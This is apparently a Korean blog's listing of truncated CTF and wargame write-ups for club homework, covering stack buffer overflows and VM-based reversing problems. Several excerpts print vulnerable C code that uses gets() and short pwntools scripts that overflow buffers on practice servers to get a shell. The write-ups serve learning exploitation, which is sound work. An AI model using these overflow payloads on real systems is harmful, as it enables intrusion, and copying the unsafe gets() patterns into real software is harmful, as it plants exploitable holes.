leesu0605 102

Layer7 포너블 2차시 과제 - overwrite_variable64 풀이

일단 문제파일을 아이다로 열어 C로 디컴파일 해보았다. v4에 문자열을 입력받으면서 s1까지 오버플로우시켜 s1 문자열에 PwnPwnPwnPwnPwnPwnPwnPwn이 들어있게 하는 문제였다. 이번에도 어셈블리어로 정확한 위치를 파악해보도록 하겠다. v4(var_40) 변수는 ebp와 0x40만큼 떨어진 곳에 위치해있고, s1은 ebp와 0x20만큼 떨어진 곳에 위치해있다. 따라서 우린 32바이트의 dummy값을 넣어주고, Pwn*8을 덧붙여주면 된다. 그럼 s1에 PwnPwnPwnPwnPwnPwnPwnPwn이라는 문자열이 들어가게 될 것이다. 한 번 페이로드를 구성해보자. 이런 식으로 32바이트의 dummy를 보내주고 Pwn*8을 넣어 공격을 시도했다. 한 번 제대로 먹히는지 실행해보자. 익스플로잇에 ..

system hacking 2022.09.20

Layer7 포너블 2차시 과제 - overwrite_variable32 풀이

일단 문제파일을 내려받아 아이다로 디컴파일해보았다. s에 입력을 받을 때 버퍼 길이보다 더 큰 값을 입력해 s1에 PwnPwnPwnPwnPwnPwnPwnPwn이라는 문자열이 들어있게 하는 문제였다. 일단 C코드로 보는 건 버퍼 길이 계산할 때 부정확할 수 있으니 직접 어셈블리어를 보면서 크기를 계산해주었다. s는 ebp로부터 0x28만큼 떨어진 곳에 위치해 있었고, s1은 0x14만큼 떨어진 곳에 위치해 있었다. 그러므로 20바이트의 더미값 + Pwn*8을 입력해주면 위의 strcmp 조건문을 통과하면서 쉘을 따낼 수 있을 것이다. 한 번 페이로드를 구성해보자. sendlineafter의 두 번째 인자에 넣어준 값을 보면, 20바이트의 dummy + Pwn * 8을 보내주었고, 마지막에 interacti..

system hacking 2022.09.20

Layer7 리버싱 1차시 과제 - dreamhack.io basic_exploitation_001

일단 c코드와 바이너리 파일을 다운받고 c코드부터 열어 어떤 내용의 코드인지 확인했다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf); return 0; ..

system hacking 2022.09.19

Layer7 포너블 1차시 과제 - pwnable.kr bof 문제 풀이

일단 문제 파일을 우분투에서 wget으로 받고 c코드부터 열어보았다. #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } overflow 버퍼에 입력받을 때 함수의 인자로 들어간 key를 오버플로우 시키는 문제였다. 따라서 key와 overflowme의 정확한 주소차를 계산하는 것이 필요했으며,..

system hacking 2022.09.19

Layer7 포너블 1차시 과제 - bof_basic_64

일단 파일을 다운받고 ida64로 열어보았다. scanf를 쓰는 것을 보아 버퍼 오버플로우인 것을 알 수 있었다. 그런데 문제점이 있다. 바로 오버플로우시킬 변수가 따로 없다는 것이다. 따라서 우리는 main함수의 리턴 주소를 변조해 기존 rip를 바꿔 main함수를 리턴할 때 완전히 다른 코드가 실행될 수 있도록 해주어야 한다. 그러기 위해서 일단 쉘코드를 실행시키는 함수를 찾아보았다. callMeMaybe라는 함수가 쉘을 실행시키고 있었다. 그리고 callMeMaybe의 주소는 0x400606이라는 것도 알아냈고, 따라서 우리에게 남은 것은 s버퍼부터 리턴 주소 사이의 거리를 계산하는 것이다. 일단, 이 두가지 정보로 s가 ebp-0x110에 저장돼있다는 걸 알 수 있고, 64비트이므로 sfp가 8바..

system hacking 2022.09.14

Layer7 포너블 1차시 문제 풀이 - bof-basic2

일단 문제 파일을 받고 ida로 열어보았다. 이런 식의 코드가 나오는데, s의 길이가 128바이트인데 입력받는 길이가 133바이트인 것으로 보아 함수 포인터 v5를 오버플로우 시켜야하는 것 같았다. 즉, sup이라는 함수를 가리키고 있는 v5가 쉘을 실행시키는 함수를 가리키게 해야하는 것이다. 그 후, 파일에 있는 함수 목록을 쭉 보니 쉘을 실행시키는 shell이라는 함수가 있었다. 함수의 주소는 구할 수 있으므로 바로 구했더니 0x804849B라는 주소가 나왔다. 따라서 익스플로잇 코드는 다음과 같다. from pwn import * p = remote("pwn.scalart.me", 8002) p.send(b'A'*128+p32(0x804849B)) p.interactive() 이렇게 짜고 실행시키면..

카테고리 없음 2022.09.14

Layer7 포너블 1차시 문제 풀이 - bof_basic

일단 문제를 받고 ida로 열어보았다. 이런 식의 코드가 나왔는데, s를 오버플로우시켜 v5를 0xDEADBEEF로 변조시켜야하는 문제였다. 그래서 s의 길이(40)만큼 아무 문자로 채우고, p32(0xDEADBEEF)를 보내 v5 변수를 덮으면 if문이 활성화돼 쉘이 실행된다. 따라서 익스플로잇 코드는 이렇게 짜면 된다. from pwn import * p = remote("pwn.scalart.me", 8001) p.send(b'A'*40+p32(0xDEADBEEF)) p.interactive() 이렇게 짜고 python3 명령어로 실행시키면 쉘이 실행될 것이고, whoami 명령어를 실행시키면 권한이 bof_basic으로 바뀐 것을 알 수 있다. 그 후, /home/bof_basic으로 이동해 fl..

system hacking 2022.09.14

Layer7 리버싱 11차시 과제(VM) - prob4

문제 파일을 IDA로 열어 main함수부터 분석해보았다. prob3와 같았다. 사용자로부터 32개의 문자를 입력받고, 그 입력값에 어떤 연산을 수행한 후, 후에 특정 조건과 비교해 만족한다면 Correct!, 다르면 Wrong...을 출력하고 있다. init_cpu는 이전 문제처럼 v5에 입력값을 복사하는 역할이었고, run_cpu는 이전 문제와 모두 같고, 데이터만 달랐다. 그래서 조건 분기 부분을 처리하기 위해 prob3처럼 식을 추출하지 말고 그 자리에서 계산해줬고, 마지막에 플래그를 순서대로 출력해 출력조건을 맞춰주었다. 그럼 구현해보자. 일단, 프로그램의 로직대로 연산을 수행하기 위해 stub코드를 추출해줬고, run_cpu의 코드도 파이썬으로 새롭게 짜줬다. 그 후, 플래그의 순서대로 출력하면..

reversing 2022.08.30

layer7 리버싱 11차시 과제(VM) - prob3

일단 문제 파일을 내려받아 아이다로 열어보았다. 대충 사용자로부터 32개의 문자를 입력받고, 그 문자에 대한 연산을 수행한 후, 그 연산 결과가 아래 조건문과 일치하는지 보고 일치하면 Correct!, 다르면 Wrong...을 출력하는 코드이다. 그럼 사용자로부터 입력받은 후의 첫번째 함수인 init_cpu를 보자. 사용자로부터 입력받은 값을 v5라는 새로운 배열에 복사하는 코드였다. 그럼 다음 코드, run_cpu 부분을 확인해보자. 다른 VM 문제와 같은 형식이었다. stub이라는 배열에 들어있는 값에 따라 연산을 수행해나가는 코드였다. 처음엔 그냥 "코드 그대로 가져다 써서 식 추출한 다음에 그대로 z3-solver 돌리면 되겠지"라고 생각했으나, 밑에 있는 조건문을 보고 생각이 달라졌다. 이렇게 ..

reversing 2022.08.30

Layer7 리버싱 10차시 과제(VM) - prob1

일단 파일을 아이다로 열어 분석해보았다. 대충 사용자로부터 48바이트 문자열을 입력받은 후, v5배열에 내용을 복사하고, run_cpu 함수를 수행한 후에 v5의 15번째 문자가 0(NULL)문자가 아니면 Wrong..., 0이 아니면 Correct!를 출력하고 있다. 우리의 역할은 v5의 15번째 문자가 0이 되는 문자열을 찾아야하는 것이다. 따라서 run_cpu의 내용을 분석해보았다. 바로 전 문제와 크게 다른 게 없었다. 그냥 stub 배열의 값에 따라서 문자열을 변조하는 코드였는데, 이 모든 코드를 복사하고, 값을 변조하는 부분만 문자열로 출력해준다면, 제대로 된 값이 나올 것이다. 일단 코드를 짜기 전 stub의 내용을 [shift+E]로 복사해주었다. 그 후, 이런 식으로 C++ 코드로 복사해..

reversing 2022.08.24